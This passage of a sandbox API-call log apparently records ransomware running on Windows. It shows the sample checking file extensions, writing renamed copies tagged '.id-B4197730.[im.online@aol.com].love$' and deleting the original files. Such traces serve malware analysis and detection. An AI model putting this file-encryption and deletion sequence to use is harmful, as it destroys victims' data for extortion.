dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0283.390] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=99744) returned 1 [0283.390] CloseHandle (hObject=0x2d8) returned 1 [0283.390] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0283.391] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.391] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.391] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.391] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.391] lstrlenW (lpString=".doc") returned 4 [0283.391] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0283.391] lstrlenW (lpString=".docx") returned 5 [0283.391] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0283.391] lstrlenW (lpString=".pdf") returned 4 [0283.391] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0283.391] lstrlenW (lpString=".xls") returned 4 [0283.391] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0283.391] lstrlenW (lpString=".xlsx") returned 5 [0283.391] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0283.391] lstrlenW (lpString=".ppt") returned 4 [0283.391] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0283.391] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.391] lstrlenW (lpString=".zip") returned 4 [0283.391] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0283.391] lstrlenW (lpString=".rar") returned 4 [0283.391] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0283.391] lstrlenW (lpString=".bz2") returned 4 [0283.391] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0283.392] lstrlenW (lpString=".7z") returned 3 [0283.392] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0283.392] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.392] lstrlenW (lpString=".dbf") returned 4 [0283.392] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0283.392] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.392] lstrlenW (lpString=".1cd") returned 4 [0283.392] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0283.392] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.392] lstrlenW (lpString=".jpg") returned 4 [0283.392] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0283.392] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.392] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.392] lstrlenW (lpString=".doc") returned 4 [0283.392] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0283.392] lstrlenW (lpString=".docx") returned 5 [0283.392] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0283.392] lstrlenW (lpString=".pdf") returned 4 [0283.392] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0283.392] lstrlenW (lpString=".xls") returned 4 [0283.392] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0283.392] lstrlenW (lpString=".xlsx") returned 5 [0283.392] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0283.392] lstrlenW (lpString=".ppt") returned 4 [0283.392] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0283.392] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.393] lstrlenW (lpString=".zip") returned 4 [0283.393] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0283.393] lstrlenW (lpString=".rar") returned 4 [0283.393] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0283.393] lstrlenW (lpString=".bz2") returned 4 [0283.393] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0283.393] lstrlenW (lpString=".7z") returned 3 [0283.393] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0283.393] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.393] lstrlenW (lpString=".dbf") returned 4 [0283.393] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0283.393] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.393] lstrlenW (lpString=".1cd") returned 4 [0283.393] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0283.393] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0283.393] lstrlenW (lpString=".jpg") returned 4 [0283.393] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0283.394] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0283.394] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0283.394] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0283.394] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=76632) returned 1 [0283.395] CloseHandle (hObject=0x2d8) returned 1 [0283.395] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0283.395] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.395] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.395] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0283.395] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0283.395] lstrlenW (lpString=".doc") returned 4 [0283.395] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.395] lstrlenW (lpString=".docx") returned 5 [0283.395] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.395] lstrlenW (lpString=".pdf") returned 4 [0283.395] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.395] lstrlenW (lpString=".xls") returned 4 [0283.395] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.395] lstrlenW (lpString=".xlsx") returned 5 [0283.395] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.395] lstrlenW (lpString=".ppt") returned 4 [0283.395] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.396] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0283.396] lstrlenW (lpString=".zip") returned 4 [0283.396] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.396] lstrlenW (lpString=".rar") returned 4 [0283.396] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.396] lstrlenW (lpString=".bz2") returned 4 [0283.396] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.396] lstrlenW (lpString=".7z") returned 3 [0283.396] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.720] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.720] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0283.722] GetLastError () returned 0x0 [0283.722] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x48c0, lpOverlapped=0x0) returned 1 [0283.737] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x48d0, lpOverlapped=0x0) returned 1 [0283.738] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x0, lpOverlapped=0x0) returned 1 [0283.738] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x112, lpOverlapped=0x0) returned 1 [0283.738] SetEndOfFile (hFile=0x354) returned 1 [0283.739] CloseHandle (hObject=0x354) returned 1 [0283.739] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.739] SetEndOfFile (hFile=0x350) returned 1 [0283.740] CloseHandle (hObject=0x350) returned 1 [0283.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0283.740] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0283.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.741] lstrlenW (lpString=".doc") returned 4 [0283.741] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0283.741] lstrlenW (lpString=".docx") returned 5 [0283.741] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0283.741] lstrlenW (lpString=".pdf") returned 4 [0283.741] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0283.742] lstrlenW (lpString=".xls") returned 4 [0283.742] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0283.742] lstrlenW (lpString=".xlsx") returned 5 [0283.742] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0283.742] lstrlenW (lpString=".ppt") returned 4 [0283.742] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0283.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.742] lstrlenW (lpString=".zip") returned 4 [0283.742] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0283.742] lstrlenW (lpString=".rar") returned 4 [0283.742] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0283.742] lstrlenW (lpString=".bz2") returned 4 [0283.742] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0283.742] lstrlenW (lpString=".7z") returned 3 [0283.742] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0283.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.742] lstrlenW (lpString=".dbf") returned 4 [0283.742] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0283.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.742] lstrlenW (lpString=".1cd") returned 4 [0283.742] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0283.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.742] lstrlenW (lpString=".jpg") returned 4 [0283.742] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0283.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.742] lstrlenW (lpString=".doc") returned 4 [0283.742] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0283.742] lstrlenW (lpString=".docx") returned 5 [0283.742] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0283.742] lstrlenW (lpString=".pdf") returned 4 [0283.742] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0283.743] lstrlenW (lpString=".xls") returned 4 [0283.743] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0283.743] lstrlenW (lpString=".xlsx") returned 5 [0283.743] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0283.743] lstrlenW (lpString=".ppt") returned 4 [0283.743] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0283.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.743] lstrlenW (lpString=".zip") returned 4 [0283.743] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0283.743] lstrlenW (lpString=".rar") returned 4 [0283.743] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0283.743] lstrlenW (lpString=".bz2") returned 4 [0283.743] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0283.743] lstrlenW (lpString=".7z") returned 3 [0283.743] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0283.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.743] lstrlenW (lpString=".dbf") returned 4 [0283.743] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0283.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.743] lstrlenW (lpString=".1cd") returned 4 [0283.743] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0283.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0283.743] lstrlenW (lpString=".jpg") returned 4 [0283.743] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0283.743] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0283.743] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0283.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0283.744] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=18624) returned 1 [0283.744] CloseHandle (hObject=0x350) returned 1 [0283.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0283.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0283.745] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.745] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0283.746] GetLastError () returned 0x0 [0283.746] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x48c0, lpOverlapped=0x0) returned 1 [0283.748] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x48d0, lpOverlapped=0x0) returned 1 [0283.749] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x0, lpOverlapped=0x0) returned 1 [0283.749] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x112, lpOverlapped=0x0) returned 1 [0283.749] SetEndOfFile (hFile=0x354) returned 1 [0283.750] CloseHandle (hObject=0x354) returned 1 [0283.750] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.750] SetEndOfFile (hFile=0x350) returned 1 [0283.751] CloseHandle (hObject=0x350) returned 1 [0283.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0283.751] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0283.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.752] lstrlenW (lpString=".doc") returned 4 [0283.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0283.752] lstrlenW (lpString=".docx") returned 5 [0283.752] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0283.752] lstrlenW (lpString=".pdf") returned 4 [0283.752] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0283.752] lstrlenW (lpString=".xls") returned 4 [0283.752] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0283.752] lstrlenW (lpString=".xlsx") returned 5 [0283.752] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0283.752] lstrlenW (lpString=".ppt") returned 4 [0283.752] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0283.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.752] lstrlenW (lpString=".zip") returned 4 [0283.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0283.753] lstrlenW (lpString=".rar") returned 4 [0283.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0283.753] lstrlenW (lpString=".bz2") returned 4 [0283.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0283.753] lstrlenW (lpString=".7z") returned 3 [0283.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0283.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.753] lstrlenW (lpString=".dbf") returned 4 [0283.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0283.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.753] lstrlenW (lpString=".1cd") returned 4 [0283.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0283.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.753] lstrlenW (lpString=".jpg") returned 4 [0283.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0283.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.753] lstrlenW (lpString=".doc") returned 4 [0283.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0283.753] lstrlenW (lpString=".docx") returned 5 [0283.753] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0283.753] lstrlenW (lpString=".pdf") returned 4 [0283.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0283.753] lstrlenW (lpString=".xls") returned 4 [0283.753] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0283.754] lstrlenW (lpString=".xlsx") returned 5 [0283.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0283.754] lstrlenW (lpString=".ppt") returned 4 [0283.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0283.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.754] lstrlenW (lpString=".zip") returned 4 [0283.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0283.754] lstrlenW (lpString=".rar") returned 4 [0283.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0283.754] lstrlenW (lpString=".bz2") returned 4 [0283.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0283.754] lstrlenW (lpString=".7z") returned 3 [0283.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0283.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.754] lstrlenW (lpString=".dbf") returned 4 [0283.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0283.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.754] lstrlenW (lpString=".1cd") returned 4 [0283.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0283.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0283.754] lstrlenW (lpString=".jpg") returned 4 [0283.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0283.754] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0283.755] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0283.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0283.755] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=21184) returned 1 [0283.755] CloseHandle (hObject=0x350) returned 1 [0283.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0283.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0283.756] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.756] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0283.757] GetLastError () returned 0x0 [0283.757] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x52c0, lpOverlapped=0x0) returned 1 [0283.969] WriteFile (in: hFile=0x354, 